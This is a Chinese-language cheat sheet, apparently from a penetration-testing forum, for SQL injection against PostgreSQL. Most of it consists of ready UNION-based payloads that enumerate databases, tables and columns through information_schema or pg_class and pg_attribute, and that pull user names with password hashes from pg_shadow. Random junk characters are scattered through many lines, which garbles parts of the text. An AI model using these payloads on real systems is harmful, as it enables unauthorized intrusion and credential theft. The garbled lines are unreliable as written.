支持多语句执行,语句可以没有from
postgres用户是超级用户(创始人账户) 只有superuser有copy权限
注释: — , /**/
连接符: %20 , + , /**/
内置函数:
current_database() //当前数据库名4 B+ W* Y3 G6 o! S
session_user //会话用户
current_user //当前数据库用户
user //当前用户
version() //数据库版本
Union注射:
order by n–# p0 {- k3 h* w- x0 @) s
and 1=2 union select null,null,null–- ~) {* r2 ?9 S; o# m. r( y
and 1=2 union select ‘beach’,null,null–
and 1=2 union select (select version()),null,null–
获取表名,字段名(新版本利用information_schema):
group_concat(table_name) r4 L5 o8 v* D$ I' H
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–, M Z; Z* I' {) |' J5 Y M
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–. t1 {3 N) k3 s$ N7 m0 _ `! O
(老版本)
pg_class.oid对应pg_attribute.attrelid9 J2 v/ I; c% i9 l% @" z' | @$ v
pg_class.relname表名
pg_attribute.attname字段名
select relname from pg_class获取表名5 Q; M. Q( K* I' Z7 ?
select oid from pg_class where 条件 获取参数1 A; |4 y1 `1 U+ f# P5 B! o5 p
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名
实战:6 P( p: i1 Z8 X0 |) o+ ?" U
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–8 g$ a3 x6 a k* o G# o
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136
and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
======================================================================
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库" N6 U, E0 i4 U5 @ j9 x, e
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |